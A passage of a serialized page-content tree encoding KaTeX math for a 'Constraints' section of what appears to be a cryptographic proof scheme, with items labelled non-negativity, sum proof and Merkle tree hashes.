hashes",{"type":25,"tag":26,"props":106564,"children":106565},{},[106566],{"type":25,"tag":38,"props":106567,"children":106568},{},[106569],{"type":30,"value":106570},"Constraints",{"type":25,"tag":108,"props":106572,"children":106573},{},[106574,107023,107190,107537,107933],{"type":25,"tag":112,"props":106575,"children":106576},{},[106577],{"type":25,"tag":264,"props":106578,"children":106580},{"className":106579},[267,268],[106581],{"type":25,"tag":271,"props":106582,"children":106584},{"className":106583},[274],[106585],{"type":25,"tag":271,"props":106586,"children":106588},{"className":106587,"ariaHidden":280},[279],[106589,106725,106929],{"type":25,"tag":271,"props":106590,"children":106592},{"className":106591},[285],[106593,106598,106603,106609,106614,106619,106624,106629,106634,106640,106645,106650,106655,106712,106716,106721],{"type":25,"tag":271,"props":106594,"children":106597},{"className":106595,"style":106596},[290],"height:0.9695em;vertical-align:-0.31em;",[],{"type":25,"tag":271,"props":106599,"children":106601},{"className":106600},[296,297],[106602],{"type":30,"value":83},{"type":25,"tag":271,"props":106604,"children":106606},{"className":106605},[296,297],[106607],{"type":30,"value":106608},"cco",{"type":25,"tag":271,"props":106610,"children":106612},{"className":106611},[296,297],[106613],{"type":30,"value":106410},{"type":25,"tag":271,"props":106615,"children":106617},{"className":106616},[296,297],[106618],{"type":30,"value":1023},{"type":25,"tag":271,"props":106620,"children":106622},{"className":106621},[296,297],[106623],{"type":30,"value":6292},{"type":25,"tag":271,"props":106625,"children":106627},{"className":106626,"style":2296},[296],[106628],{"type":30,"value":6434},{"type":25,"tag":271,"props":106630,"children":106632},{"className":106631},[296,297],[106633],{"type":30,"value":64570},{"type":25,"tag":271,"props":106635,"children":106637},{"className":106636,"style":1555},[296,297],[106638],{"type":30,"value":106639},"q",{"type":25,"tag":271,"props":106641,"children":106643},{"className":106642},[296,297],[106644],{"type":30,"value":106410},{"type":25,"tag":271,"props":106646,"children":106648},{"className":106647},[296,297],[106649],{"type":30,"value":1937},{"type":25,"tag":271,"props":106651,"children":106653},{"className":106652},[296,297],[106654],{"type":30,"value":6292},{"type":25,"tag":271,"props":106656,"children":106658},{"className":106657},[296],[106659,106664],{"type":25,"tag":271,"props":106660,"children":106662},{"className":106661,"style":1555},[296,297],[106663],{"type":30,"value":16256},{"type":25,"tag":271,"props":106665,"children":106667},{"className":106666},[982],[106668],{"type":25,"tag":271,"props":106669,"children":106671},{"className":106670},[987,1100],[106672,106701],{"type":25,"tag":271,"props":106673,"children":106675},{"className":106674},[992],[106676,106696],{"type":25,"tag":271,"props":106677,"children":106679},{"className":106678,"style":1918},[997],[106680],{"type":25,"tag":271,"props":106681,"children":106682},{"style":1922},[106683,106687],{"type":25,"tag":271,"props":106684,"children":106686},{"className":106685,"style":1008},[1007],[],{"type":25,"tag":271,"props":106688,"children":106690},{"className":106689},[1013,1014,1015,1016],[106691],{"type":25,"tag":271,"props":106692,"children":106694},{"className":106693},[296,297,1016],[106695],{"type":30,"value":1937},{"type":25,"tag":271,"props":106697,"children":106699},{"className":106698},[1177],[106700],{"type":30,"value":1180},{"type":25,"tag":271,"props":106702,"children":106704},{"className":106703},[992],[106705],{"type":25,"tag":271,"props":106706,"children":106708},{"className":106707,"style":1619},[997],[106709],{"type":25,"tag":271,"props":106710,"children":106711},{},[],{"type":25,"tag":271,"props":106713,"children":106715},{"className":106714,"style":338},[337],[],{"type":25,"tag":271,"props":106717,"children":106719},{"className":106718},[356],[106720],{"type":30,"value":21696},{"type":25,"tag":271,"props":106722,"children":106724},{"className":106723,"style":338},[337],[],{"type":25,"tag":271,"props":106726,"children":106728},{"className":106727},[285],[106729,106733,106739,106744,106749,106754,106759,106764,106769,106774,106779,106784,106789,106794,106799,106804,106809,106814,106871,106876,106881,106886,106891,106896,106901,106906,106911,106916,106920,106925],{"type":25,"tag":271,"props":106730,"children":106732},{"className":106731,"style":7026},[290],[],{"type":25,"tag":271,"props":106734,"children":106736},{"className":106735},[296],[106737],{"type":30,"value":106738},"Σ",{"type":25,"tag":271,"props":106740,"children":106742},{"className":106741},[337],[106743],{"type":30,"value":34797},{"type":25,"tag":271,"props":106745,"children":106747},{"className":106746},[296,297],[106748],{"type":30,"value":83},{"type":25,"tag":271,"props":106750,"children":106752},{"className":106751},[296,297],[106753],{"type":30,"value":106608},{"type":25,"tag":271,"props":106755,"children":106757},{"className":106756},[296,297],[106758],{"type":30,"value":106410},{"type":25,"tag":271,"props":106760,"children":106762},{"className":106761},[296,297],[106763],{"type":30,"value":1023},{"type":25,"tag":271,"props":106765,"children":106767},{"className":106766},[296,297],[106768],{"type":30,"value":6292},{"type":25,"tag":271,"props":106770,"children":106772},{"className":106771,"style":2296},[296],[106773],{"type":30,"value":6434},{"type":25,"tag":271,"props":106775,"children":106777},{"className":106776},[296,297],[106778],{"type":30,"value":83},{"type":25,"tag":271,"props":106780,"children":106782},{"className":106781},[296,297],[106783],{"type":30,"value":106148},{"type":25,"tag":271,"props":106785,"children":106787},{"className":106786},[296,297],[106788],{"type":30,"value":6292},{"type":25,"tag":271,"props":106790,"children":106792},{"className":106791,"style":2296},[296],[106793],{"type":30,"value":6434},{"type":25,"tag":271,"props":106795,"children":106797},{"className":106796},[296,297],[106798],{"type":30,"value":106164},{"type":25,"tag":271,"props":106800,"children":106802},{"className":106801,"style":106168},[296,297],[106803],{"type":30,"value":106171},{"type":25,"tag":271,"props":106805,"children":106807},{"className":106806},[296,297],[106808],{"type":30,"value":106177},{"type":25,"tag":271,"props":106810,"children":106812},{"className":106811},[296,297],[106813],{"type":30,"value":106183},{"type":25,"tag":271,"props":106815,"children":106817},{"className":106816},[296],[106818,106823],{"type":25,"tag":271,"props":106819,"children":106821},{"className":106820},[296,297],[106822],{"type":30,"value":23776},{"type":25,"tag":271,"props":106824,"children":106826},{"className":106825},[982],[106827],{"type":25,"tag":271,"props":106828,"children":106830},{"className":106829},[987,1100],[106831,106860],{"type":25,"tag":271,"props":106832,"children":106834},{"className":106833},[992],[106835,106855],{"type":25,"tag":271,"props":106836,"children":106838},{"className":106837,"style":1918},[997],[106839],{"type":25,"tag":271,"props":106840,"children":106841},{"style":1592},[106842,106846],{"type":25,"tag":271,"props":106843,"children":106845},{"className":106844,"style":1008},[1007],[],{"type":25,"tag":271,"props":106847,"children":106849},{"className":106848},[1013,1014,1015,1016],[106850],{"type":25,"tag":271,"props":106851,"children":106853},{"className":106852},[296,297,1016],[106854],{"type":30,"value":1937},{"type":25,"tag":271,"props":106856,"children":106858},{"className":106857},[1177],[106859],{"type":30,"value":1180},{"type":25,"tag":271,"props":106861,"children":106863},{"className":106862},[992],[106864],{"type":25,"tag":271,"props":106865,"children":106867},{"className":106866,"style":1619},[997],[106868],{"type":25,"tag":271,"props":106869,"children":106870},{},[],{"type":25,"tag":271,"props":106872,"children":106874},{"className":106873},[391],[106875],{"type":30,"value":5604},{"type":25,"tag":271,"props":106877,"children":106879},{"className":106878},[296,297],[106880],{"type":30,"value":83},{"type":25,"tag":271,"props":106882,"children":106884},{"className":106883},[296,297],[106885],{"type":30,"value":106148},{"type":25,"tag":271,"props":106887,"children":106889},{"className":106888},[296,297],[106890],{"type":30,"value":6292},{"type":25,"tag":271,"props":106892,"children":106894},{"className":106893,"style":2296},[296],[106895],{"type":30,"value":6434},{"type":25,"tag":271,"props":106897,"children":106899},{"className":106898},[296,297],[106900],{"type":30,"value":1023},{"type":25,"tag":271,"props":106902,"children":106904},{"className":106903},[296,297],[106905],{"type":30,"value":106410},{"type":25,"tag":271,"props":106907,"children":106909},{"className":106908},[296,297],[106910],{"type":30,"value":64249},{"type":25,"tag":271,"props":106912,"children":106914},{"className":106913},[437],[106915],{"type":30,"value":5630},{"type":25,"tag":271,"props":106917,"children":106919},{"className":106918,"style":2066},[337],[],{"type":25,"tag":271,"props":106921,"children":106923},{"className":106922},[2071],[106924],{"type":30,"value":17234},{"type":25,"tag":271,"props":106926,"children":106928},{"className":106927,"style":2066},[337],[],{"type":25,"tag":271,"props":106930,"children":106932},{"className":106931},[285],[106933,106937,106942,106947,106952,106957,106962,106967,106972,106978,106983,106988,106993,106998,107003,107008,107013,107018],{"type":25,"tag":271,"props":106934,"children":106936},{"className":106935,"style":7026},[290],[],{"type":25,"tag":271,"props":106938,"children":106940},{"className":106939},[296,297],[106941],{"type":30,"value":83},{"type":25,"tag":271,"props":106943,"children":106945},{"className":106944},[296,297],[106946],{"type":30,"value":106148},{"type":25,"tag":271,"props":106948,"children":106950},{"className":106949},[296,297],[106951],{"type":30,"value":6292},{"type":25,"tag":271,"props":106953,"children":106955},{"className":106954,"style":2296},[296],[106956],{"type":30,"value":6434},{"type":25,"tag":271,"props":106958,"children":106960},{"className":106959},[296,297],[106961],{"type":30,"value":26},{"type":25,"tag":271,"props":106963,"children":106965},{"className":106964,"style":2296},[296,297],[106966],{"type":30,"value":2299},{"type":25,"tag":271,"props":106968,"children":106970},{"className":106969},[296,297],[106971],{"type":30,"value":1937},{"type":25,"tag":271,"props":106973,"children":106975},{"className":106974},[296,297],[106976],{"type":30,"value":106977},"ces",{"type":25,"tag":271,"props":106979,"children":106981},{"className":106980},[391],[106982],{"type":30,"value":5604},{"type":25,"tag":271,"props":106984,"children":106986},{"className":106985},[296,297],[106987],{"type":30,"value":83},{"type":25,"tag":271,"props":106989,"children":106991},{"className":106990},[296,297],[106992],{"type":30,"value":106148},{"type":25,"tag":271,"props":106994,"children":106996},{"className":106995},[296,297],[106997],{"type":30,"value":6292},{"type":25,"tag":271,"props":106999,"children":107001},{"className":107000,"style":2296},[296],[107002],{"type":30,"value":6434},{"type":25,"tag":271,"props":107004,"children":107006},{"className":107005},[296,297],[107007],{"type":30,"value":1023},{"type":25,"tag":271,"props":107009,"children":107011},{"className":107010},[296,297],[107012],{"type":30,"value":106410},{"type":25,"tag":271,"props":107014,"children":107016},{"className":107015},[296,297],[107017],{"type":30,"value":64249},{"type":25,"tag":271,"props":107019,"children":107021},{"className":107020},[437],[107022],{"type":30,"value":5630},{"type":25,"tag":112,"props":107024,"children":107025},{},[107026,107184,107185],{"type":25,"tag":264,"props":107027,"children":107029},{"className":107028},[267,268],[107030],{"type":25,"tag":271,"props":107031,"children":107033},{"className":107032},[274],[107034],{"type":25,"tag":271,"props":107035,"children":107037},{"className":107036,"ariaHidden":280},[279],[107038,107171],{"type":25,"tag":271,"props":107039,"children":107041},{"className":107040},[285],[107042,107046,107051,107056,107061,107066,107071,107076,107081,107086,107091,107096,107101,107158,107162,107167],{"type":25,"tag":271,"props":107043,"children":107045},{"className":107044,"style":106596},[290],[],{"type":25,"tag":271,"props":107047,"children":107049},{"className":107048},[296,297],[107050],{"type":30,"value":83},{"type":25,"tag":271,"props":107052,"children":107054},{"className":107053},[296,297],[107055],{"type":30,"value":106608},{"type":25,"tag":271,"props":107057,"children":107059},{"className":107058},[296,297],[107060],{"type":30,"value":106410},{"type":25,"tag":271,"props":107062,"children":107064},{"className":107063},[296,297],[107065],{"type":30,"value":1023},{"type":25,"tag":271,"props":107067,"children":107069},{"className":107068},[296,297],[107070],{"type":30,"value":6292},{"type":25,"tag":271,"props":107072,"children":107074},{"className":107073,"style":2296},[296],[107075],{"type":30,"value":6434},{"type":25,"tag":271,"props":107077,"children":107079},{"className":107078},[296,297],[107080],{"type":30,"value":64570},{"type":25,"tag":271,"props":107082,"children":107084},{"className":107083,"style":1555},[296,297],[107085],{"type":30,"value":106639},{"type":25,"tag":271,"props":107087,"children":107089},{"className":107088},[296,297],[107090],{"type":30,"value":106410},{"type":25,"tag":271,"props":107092,"children":107094},{"className":107093},[296,297],[107095],{"type":30,"value":1937},{"type":25,"tag":271,"props":107097,"children":107099},{"className":107098},[296,297],[107100],{"type":30,"value":6292},{"type":25,"tag":271,"props":107102,"children":107104},{"className":107103},[296],[107105,107110],{"type":25,"tag":271,"props":107106,"children":107108},{"className":107107,"style":1555},[296,297],[107109],{"type":30,"value":16256},{"type":25,"tag":271,"props":107111,"children":107113},{"className":107112},[982],[107114],{"type":25,"tag":271,"props":107115,"children":107117},{"className":107116},[987,1100],[107118,107147],{"type":25,"tag":271,"props":107119,"children":107121},{"className":107120},[992],[107122,107142],{"type":25,"tag":271,"props":107123,"children":107125},{"className":107124,"style":1918},[997],[107126],{"type":25,"tag":271,"props":107127,"children":107128},{"style":1922},[107129,107133],{"type":25,"tag":271,"props":107130,"children":107132},{"className":107131,"style":1008},[1007],[],{"type":25,"tag":271,"props":107134,"children":107136},{"className":107135},[1013,1014,1015,1016],[107137],{"type":25,"tag":271,"props":107138,"children":107140},{"className":107139},[296,297,1016],[107141],{"type":30,"value":1937},{"type":25,"tag":271,"props":107143,"children":107145},{"className":107144},[1177],[107146],{"type":30,"value":1180},{"type":25,"tag":271,"props":107148,"children":107150},{"className":107149},[992],[107151],{"type":25,"tag":271,"props":107152,"children":107154},{"className":107153,"style":1619},[997],[107155],{"type":25,"tag":271,"props":107156,"children":107157},{},[],{"type":25,"tag":271,"props":107159,"children":107161},{"className":107160,"style":338},[337],[],{"type":25,"tag":271,"props":107163,"children":107165},{"className":107164},[356],[107166],{"type":30,"value":23067},{"type":25,"tag":271,"props":107168,"children":107170},{"className":107169,"style":338},[337],[],{"type":25,"tag":271,"props":107172,"children":107174},{"className":107173},[285],[107175,107179],{"type":25,"tag":271,"props":107176,"children":107178},{"className":107177,"style":3128},[290],[],{"type":25,"tag":271,"props":107180,"children":107182},{"className":107181},[296],[107183],{"type":30,"value":953},{"type":30,"value":14096},{"type":25,"tag":38,"props":107186,"children":107187},{},[107188],{"type":30,"value":107189},"(non-negativity)",{"type":25,"tag":112,"props":107191,"children":107192},{},[107193,107531,107532],{"type":25,"tag":264,"props":107194,"children":107196},{"className":107195},[267,268],[107197],{"type":25,"tag":271,"props":107198,"children":107200},{"className":107199},[274],[107201],{"type":25,"tag":271,"props":107202,"children":107204},{"className":107203,"ariaHidden":280},[279],[107205,107341],{"type":25,"tag":271,"props":107206,"children":107208},{"className":107207},[285],[107209,107213,107218,107223,107228,107233,107238,107243,107248,107253,107258,107263,107268,107273,107278,107283,107288,107293,107298,107303,107308,107313,107318,107323,107328,107332,107337],{"type":25,"tag":271,"props":107210,"children":107212},{"className":107211,"style":7026},[290],[],{"type":25,"tag":271,"props":107214,"children":107216},{"className":107215},[296,297],[107217],{"type":30,"value":6292},{"type":25,"tag":271,"props":107219,"children":107221},{"className":107220},[296,297],[107222],{"type":30,"value":106127},{"type":25,"tag":271,"props":107224,"children":107226},{"className":107225},[296,297],[107227],{"type":30,"value":6292},{"type":25,"tag":271,"props":107229,"children":107231},{"className":107230},[296,297],[107232],{"type":30,"value":83},{"type":25,"tag":271,"props":107234,"children":107236},{"className":107235,"style":106168},[296,297],[107237],{"type":30,"value":106171},{"type":25,"tag":271,"props":107239,"children":107241},{"className":107240,"style":2296},[296],[107242],{"type":30,"value":6434},{"type":25,"tag":271,"props":107244,"children":107246},{"className":107245},[296,297],[107247],{"type":30,"value":83},{"type":25,"tag":271,"props":107249,"children":107251},{"className":107250},[296,297],[107252],{"type":30,"value":106148},{"type":25,"tag":271,"props":107254,"children":107256},{"className":107255},[296,297],[107257],{"type":30,"value":6292},{"type":25,"tag":271,"props":107259,"children":107261},{"className":107260,"style":2296},[296],[107262],{"type":30,"value":6434},{"type":25,"tag":271,"props":107264,"children":107266},{"className":107265},[296,297],[107267],{"type":30,"value":106164},{"type":25,"tag":271,"props":107269,"children":107271},{"className":107270,"style":106168},[296,297],[107272],{"type":30,"value":106171},{"type":25,"tag":271,"props":107274,"children":107276},{"className":107275},[296,297],[107277],{"type":30,"value":106177},{"type":25,"tag":271,"props":107279,"children":107281},{"className":107280},[296,297],[107282],{"type":30,"value":106183},{"type":25,"tag":271,"props":107284,"children":107286},{"className":107285},[391],[107287],{"type":30,"value":5604},{"type":25,"tag":271,"props":107289,"children":107291},{"className":107290},[296,297],[107292],{"type":30,"value":83},{"type":25,"tag":271,"props":107294,"children":107296},{"className":107295},[296,297],[107297],{"type":30,"value":106148},{"type":25,"tag":271,"props":107299,"children":107301},{"className":107300},[296,297],[107302],{"type":30,"value":6292},{"type":25,"tag":271,"props":107304,"children":107306},{"className":107305,"style":2296},[296],[107307],{"type":30,"value":6434},{"type":25,"tag":271,"props":107309,"children":107311},{"className":107310},[296,297],[107312],{"type":30,"value":1023},{"type":25,"tag":271,"props":107314,"children":107316},{"className":107315},[296,297],[107317],{"type":30,"value":106410},{"type":25,"tag":271,"props":107319,"children":107321},{"className":107320},[296,297],[107322],{"type":30,"value":64249},{"type":25,"tag":271,"props":107324,"children":107326},{"className":107325},[437],[107327],{"type":30,"value":5630},{"type":25,"tag":271,"props":107329,"children":107331},{"className":107330,"style":338},[337],[],{"type":25,"tag":271,"props":107333,"children":107335},{"className":107334},[356],[107336],{"type":30,"value":21696},{"type":25,"tag":271,"props":107338,"children":107340},{"className":107339,"style":338},[337],[],{"type":25,"tag":271,"props":107342,"children":107344},{"className":107343},[285],[107345,107349,107354,107359,107364,107369,107374,107379,107384,107389,107394,107399,107404,107409,107414,107419,107424,107429,107486,107491,107496,107501,107506,107511,107516,107521,107526],{"type":25,"tag":271,"props":107346,"children":107348},{"className":107347,"style":7026},[290],[],{"type":25,"tag":271,"props":107350,"children":107352},{"className":107351},[296],[107353],{"type":30,"value":106738},{"type":25,"tag":271,"props":107355,"children":107357},{"className":107356},[337],[107358],{"type":30,"value":34797},{"type":25,"tag":271,"props":107360,"children":107362},{"className":107361},[296,297],[107363],{"type":30,"value":83},{"type":25,"tag":271,"props":107365,"children":107367},{"className":107366},[296,297],[107368],{"type":30,"value":106608},{"type":25,"tag":271,"props":107370,"children":107372},{"className":107371},[296,297],[107373],{"type":30,"value":106410},{"type":25,"tag":271,"props":107375,"children":107377},{"className":107376},[296,297],[107378],{"type":30,"value":1023},{"type":25,"tag":271,"props":107380,"children":107382},{"className":107381},[296,297],[107383],{"type":30,"value":6292},{"type":25,"tag":271,"props":107385,"children":107387},{"className":107386,"style":2296},[296],[107388],{"type":30,"value":6434},{"type":25,"tag":271,"props":107390,"children":107392},{"className":107391},[296,297],[107393],{"type":30,"value":83},{"type":25,"tag":271,"props":107395,"children":107397},{"className":107396},[296,297],[107398],{"type":30,"value":106148},{"type":25,"tag":271,"props":107400,"children":107402},{"className":107401},[296,297],[107403],{"type":30,"value":6292},{"type":25,"tag":271,"props":107405,"children":107407},{"className":107406,"style":2296},[296],[107408],{"type":30,"value":6434},{"type":25,"tag":271,"props":107410,"children":107412},{"className":107411},[296,297],[107413],{"type":30,"value":106164},{"type":25,"tag":271,"props":107415,"children":107417},{"className":107416,"style":106168},[296,297],[107418],{"type":30,"value":106171},{"type":25,"tag":271,"props":107420,"children":107422},{"className":107421},[296,297],[107423],{"type":30,"value":106177},{"type":25,"tag":271,"props":107425,"children":107427},{"className":107426},[296,297],[107428],{"type":30,"value":106183},{"type":25,"tag":271,"props":107430,"children":107432},{"className":107431},[296],[107433,107438],{"type":25,"tag":271,"props":107434,"children":107436},{"className":107435},[296,297],[107437],{"type":30,"value":23776},{"type":25,"tag":271,"props":107439,"children":107441},{"className":107440},[982],[107442],{"type":25,"tag":271,"props":107443,"children":107445},{"className":107444},[987,1100],[107446,107475],{"type":25,"tag":271,"props":107447,"children":107449},{"className":107448},[992],[107450,107470],{"type":25,"tag":271,"props":107451,"children":107453},{"className":107452,"style":1918},[997],[107454],{"type":25,"tag":271,"props":107455,"children":107456},{"style":1592},[107457,107461],{"type":25,"tag":271,"props":107458,"children":107460},{"className":107459,"style":1008},[1007],[],{"type":25,"tag":271,"props":107462,"children":107464},{"className":107463},[1013,1014,1015,1016],[107465],{"type":25,"tag":271,"props":107466,"children":107468},{"className":107467},[296,297,1016],[107469],{"type":30,"value":1937},{"type":25,"tag":271,"props":107471,"children":107473},{"className":107472},[1177],[107474],{"type":30,"value":1180},{"type":25,"tag":271,"props":107476,"children":107478},{"className":107477},[992],[107479],{"type":25,"tag":271,"props":107480,"children":107482},{"className":107481,"style":1619},[997],[107483],{"type":25,"tag":271,"props":107484,"children":107485},{},[],{"type":25,"tag":271,"props":107487,"children":107489},{"className":107488},[391],[107490],{"type":30,"value":5604},{"type":25,"tag":271,"props":107492,"children":107494},{"className":107493},[296,297],[107495],{"type":30,"value":83},{"type":25,"tag":271,"props":107497,"children":107499},{"className":107498},[296,297],[107500],{"type":30,"value":106148},{"type":25,"tag":271,"props":107502,"children":107504},{"className":107503},[296,297],[107505],{"type":30,"value":6292},{"type":25,"tag":271,"props":107507,"children":107509},{"className":107508,"style":2296},[296],[107510],{"type":30,"value":6434},{"type":25,"tag":271,"props":107512,"children":107514},{"className":107513},[296,297],[107515],{"type":30,"value":1023},{"type":25,"tag":271,"props":107517,"children":107519},{"className":107518},[296,297],[107520],{"type":30,"value":106410},{"type":25,"tag":271,"props":107522,"children":107524},{"className":107523},[296,297],[107525],{"type":30,"value":64249},{"type":25,"tag":271,"props":107527,"children":107529},{"className":107528},[437],[107530],{"type":30,"value":5630},{"type":30,"value":14096},{"type":25,"tag":38,"props":107533,"children":107534},{},[107535],{"type":30,"value":107536},"(sum proof)",{"type":25,"tag":112,"props":107538,"children":107539},{},[107540,107927,107928],{"type":25,"tag":264,"props":107541,"children":107543},{"className":107542},[267,268],[107544],{"type":25,"tag":271,"props":107545,"children":107547},{"className":107546},[274],[107548],{"type":25,"tag":271,"props":107549,"children":107551},{"className":107550,"ariaHidden":280},[279],[107552,107636],{"type":25,"tag":271,"props":107553,"children":107555},{"className":107554},[285],[107556,107560,107565,107571,107576,107581,107586,107591,107596,107602,107607,107613,107618,107623,107627,107632],{"type":25,"tag":271,"props":107557,"children":107559},{"className":107558,"style":6417},[290],[],{"type":25,"tag":271,"props":107561,"children":107563},{"className":107562},[296,297],[107564],{"type":30,"value":64249},{"type":25,"tag":271,"props":107566,"children":107568},{"className":107567,"style":2296},[296,297],[107569],{"type":30,"value":107570},"er",{"type":25,"tag":271,"props":107572,"children":107574},{"className":107573,"style":6812},[296,297],[107575],{"type":30,"value":6815},{"type":25,"tag":271,"props":107577,"children":107579},{"className":107578,"style":106168},[296,297],[107580],{"type":30,"value":106171},{"type":25,"tag":271,"props":107582,"children":107584},{"className":107583},[296,297],[107585],{"type":30,"value":64570},{"type":25,"tag":271,"props":107587,"children":107589},{"className":107588,"style":2296},[296],[107590],{"type":30,"value":6434},{"type":25,"tag":271,"props":107592,"children":107594},{"className":107593},[296,297],[107595],{"type":30,"value":6292},{"type":25,"tag":271,"props":107597,"children":107599},{"className":107598},[296,297],[107600],{"type":30,"value":107601},"ree",{"type":25,"tag":271,"props":107603,"children":107605},{"className":107604,"style":2296},[296],[107606],{"type":30,"value":6434},{"type":25,"tag":271,"props":107608,"children":107610},{"className":107609},[296,297],[107611],{"type":30,"value":107612},"ha",{"type":25,"tag":271,"props":107614,"children":107616},{"className":107615},[296,297],[107617],{"type":30,"value":23776},{"type":25,"tag":271,"props":107619,"children":107621},{"className":107620},[296,297],[107622],{"type":30,"value":97458},{"type":25,"tag":271,"props":107624,"children":107626},{"className":107625,"style":338},[337],[],{"type":25,"tag":271,"props":107628,"children":107630},{"className":107629},[356],[107631],{"type":30,"value":21696},{"type":25,"tag":271,"props":107633,"children":107635},{"className":107634,"style":338},[337],[],{"type":25,"tag":271,"props":107637,"children":107639},{"className":107638},[285],[107640,107644,107649,107654,107659,107664,107669,107674,107679,107684,107689,107746,107751,107755,107760,107765,107822,107827,107832,107836,107841,107846,107850,107855,107860,107922],{"type":25,"tag":271,"props":107641,"children":107643},{"className":107642,"style":375},[290],[],{"type":25,"tag":271,"props":107645,"children":107647},{"className":107646,"style":298},[296,297],[107648],{"type":30,"value":400},{"type":25,"tag":271,"props":107650,"children":107652},{"className":107651},[296,297],[107653],{"type":30,"value":106111},{"type":25,"tag":271,"props":107655,"children":107657},{"className":107656},[296,297],[107658],{"type":30,"value":1937},{"type":25,"tag":271,"props":107660,"children":107662},{"className":107661},[296,297],[107663],{"type":30,"value":13482},{"type":25,"tag":271,"props":107665,"children":107667},{"className":107666},[296,297],[107668],{"type":30,"value":106127},{"type":25,"tag":271,"props":107670,"children":107672},{"className":107671},[296,297],[107673],{"type":30,"value":1023},{"type":25,"tag":271,"props":107675,"children":107677},{"className":107676},[391],[107678],{"type":30,"value":394},{"type":25,"tag":271,"props":107680,"children":107682},{"className":107681},[296,297],[107683],{"type":30,"value":107612},{"type":25,"tag":271,"props":107685,"children":107687},{"className":107686},[296,297],[107688],{"type":30,"value":23776},{"type":25,"tag":271,"props":107690,"children":107692},{"className":107691},[296],[107693,107698],{"type":25,"tag":271,"props":107694,"children":107696},{"className":107695},[296,297],[107697],{"type":30,"value":97458},{"type":25,"tag":271,"props":107699,"children":107701},{"className":107700},[982],[107702],{"type":25,"tag":271,"props":107703,"children":107705},{"className":107704},[987,1100],[107706,107735],{"type":25,"tag":271,"props":107707,"children":107709},{"className":107708},[992],[107710,107730],{"type":25,"tag":271,"props":107711,"children":107713},{"className":107712,"style":1588},[997],[107714],{"type":25,"tag":271,"props":107715,"children":107716},{"style":1592},[107717,107721],{"type":25,"tag":271,"props":107718,"children":107720},{"className":107719,"style":1008},[1007],[],{"type":25,"tag":271,"props":107722,"children":107724},{"className":107723},[1013,1014,1015,1016],[107725],{"type":25,"tag":271,"props":107726,"children":107728},{"className":107727},[296,1016],[107729],{"type":30,"value":953},{"type":25,"tag":271,"props":107731,"children":107733},{"className":107732},[1177],[107734],{"type":30,"value":1180},{"type":25,"tag":271,"props":107736,"children":107738},{"className":107737},[992],[107739],{"type":25,"tag":271,"props":107740,"children":107742},{"className":107741,"style":1619},[997],[107743],{"type":25,"tag":271,"props":107744,"children":107745},{},[],{"type":25,"tag":271,"props":107747,"children":107749},{"className":107748},[404],[107750],{"type":30,"value":407},{"type":25,"tag":271,"props":107752,"children":107754},{"className":107753,"style":411},[337],[],{"type":25,"tag":271,"props":107756,"children":107758},{"className":107757},[296,297],[107759],{"type":30,"value":107612},{"type":25,"tag":271,"props":107761,"children":107763},{"className":107762},[296,297],[107764],{"type":30,"value":23776},{"type":25,"tag":271,"props":107766,"children":107768},{"className":107767},[296],[107769,107774],{"type":25,"tag":271,"props":107770,"children":107772},{"className":107771},[296,297],[107773],{"type":30,"value":97458},{"type":25,"tag":271,"props":107775,"children":107777},{"className":107776},[982],[107778],{"type":25,"tag":271,"props":107779,"children":107781},{"className":107780},[987,1100],[107782,107811],{"type":25,"tag":271,"props":107783,"children":107785},{"className":107784},[992],[107786,107806],{"type":25,"tag":271,"props":107787,"children":107789},{"className":107788,"style":1588},[997],[107790],{"type":25,"tag":271,"props":107791,"children":107792},{"style":1592},[107793,107797],{"type":25,"tag":271,"props":107794,"children":107796},{"className":107795,"style":1008},[1007],[],{"type":25,"tag":271,"props":107798,"children":107800},{"className":107799},[1013,1014,1015,1016],[107801],{"type":25,"tag":271,"props":107802,"children":107804},{"className":107803},[296,1016],[107805],{"type":30,"value":968},{"type":25,"tag":271,"props":107807,"children":107809},{"className":107808},[1177],[107810],{"type":30,"value":1180},{"type":25,"tag":271,"props":107812,"children":107814},{"className":107813},[992],[107815],{"type":25,"tag":271,"props":107816,"children":107818},{"className":107817,"style":1619},[997],[107819],{"type":25,"tag":271,"props":107820,"children":107821},{},[],{"type":25,"tag":271,"props":107823,"children":107825},{"className":107824},[404],[107826],{"type":30,"value":407},{"type":25,"tag":271,"props":107828,"children":107830},{"className":107829},[337],[107831],{"type":30,"value":34797},{"type":25,"tag":271,"props":107833,"children":107835},{"className":107834,"style":411},[337],[],{"type":25,"tag":271,"props":107837,"children":107839},{"className":107838},[296],[107840],{"type":30,"value":22714},{"type":25,"tag":271,"props":107842,"children":107844},{"className":107843},[404],[107845],{"type":30,"value":407},{"type":25,"tag":271,"props":107847,"children":107849},{"className":107848,"style":411},[337],[],{"type":25,"tag":271,"props":107851,"children":107853},{"className":107852},[296,297],[107854],{"type":30,"value":107612},{"type":25,"tag":271,"props":107856,"children":107858},{"className":107857},[296,297],[107859],{"type":30,"value":23776},{"type":25,"tag":271,"props":107861,"children":107863},{"className":107862},[296],[107864,107869],{"type":25,"tag":271,"props":107865,"children":107867},{"className":107866},[296,297],[107868],{"type":30,"value":97458},{"type":25,"tag":271,"props":107870,"children":107872},{"className":107871},[982],[107873],{"type":25,"tag":271,"props":107874,"children":107876},{"className":107875},[987,1100],[107877,107911],{"type":25,"tag":271,"props":107878,"children":107880},{"className":107879},[992],[107881,107906],{"type":25,"tag":271,"props":107882,"children":107884},{"className":107883,"style":1588},[997],[107885],{"type":25,"tag":271,"props":107886,"children":107887},{"style":1592},[107888,107892],{"type":25,"tag":271,"props":107889,"children":107891},{"className":107890,"style":1008},[1007],[],{"type":25,"tag":271,"props":107893,"children":107895},{"className":107894},[1013,1014,1015,1016],[107896],{"type":25,"tag":271,"props":107897,"children":107899},{"className":107898},[296,1016],[107900],{"type":25,"tag":271,"props":107901,"children":107903},{"className":107902},[296,1016],[107904],{"type":30,"value":107905},"511",{"type":25,"tag":271,"props":107907,"children":107909},{"className":107908},[1177],[107910],{"type":30,"value":1180},{"type":25,"tag":271,"props":107912,"children":107914},{"className":107913},[992],[107915],{"type":25,"tag":271,"props":107916,"children":107918},{"className":107917,"style":1619},[997],[107919],{"type":25,"tag":271,"props":107920,"children":107921},{},[],{"type":25,"tag":271,"props":107923,"children":107925},{"className":107924},[437],[107926],{"type":30,"value":440},{"type":30,"value":14096},{"type":25,"tag":38,"props":107929,"children":107930},{},[107931],{"type":30,"value":107932},"(merkle tree 